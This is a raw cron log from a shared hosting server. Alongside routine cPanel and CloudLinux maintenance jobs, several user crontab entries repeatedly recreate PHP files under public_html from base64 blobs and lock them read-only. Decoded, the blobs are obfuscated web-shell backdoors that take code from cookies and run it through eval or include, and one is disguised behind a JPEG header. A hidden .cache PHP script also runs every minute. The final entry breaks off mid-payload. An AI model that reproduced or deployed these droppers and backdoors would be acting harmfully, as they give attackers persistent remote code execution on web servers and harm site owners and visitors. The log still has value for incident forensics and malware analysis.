Apr 19 08:19:01 medusa CROND[4527]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:19:01 medusa CROND[4528]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27662]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:20:01 medusa CROND[27677]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:20:01 medusa CROND[27705]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:20:01 medusa CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 08:20:01 medusa CROND[27804]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27859]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:20:01 medusa CROND[27877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27878]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27882]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:20:01 medusa CROND[27886]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27888]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27889]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:20:01 medusa CROND[27897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27898]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:20:01 medusa CROND[27899]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:20:01 medusa CROND[27900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:20:01 medusa CROND[27895]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:20:01 medusa CROND[27904]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:20:01 medusa CROND[27905]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:20:01 medusa CROND[27908]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:20:01 medusa CROND[27914]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:20:01 medusa CROND[27916]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:20:02 medusa CROND[27918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:20:02 medusa CROND[27915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:20:02 medusa CROND[27931]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:20:02 medusa CROND[27932]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:20:02 medusa CROND[27928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 08:20:02 medusa CROND[27927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:20:02 medusa CROND[27930]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 08:21:02 medusa CROND[20020]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:21:02 medusa CROND[20021]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:21:02 medusa CROND[20022]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:21:02 medusa CROND[20023]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:21:02 medusa CROND[20024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:21:02 medusa CROND[20026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:21:02 medusa CROND[20027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:21:02 medusa CROND[20029]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:21:02 medusa CROND[20025]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:21:02 medusa CROND[20032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:21:02 medusa CROND[20035]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYW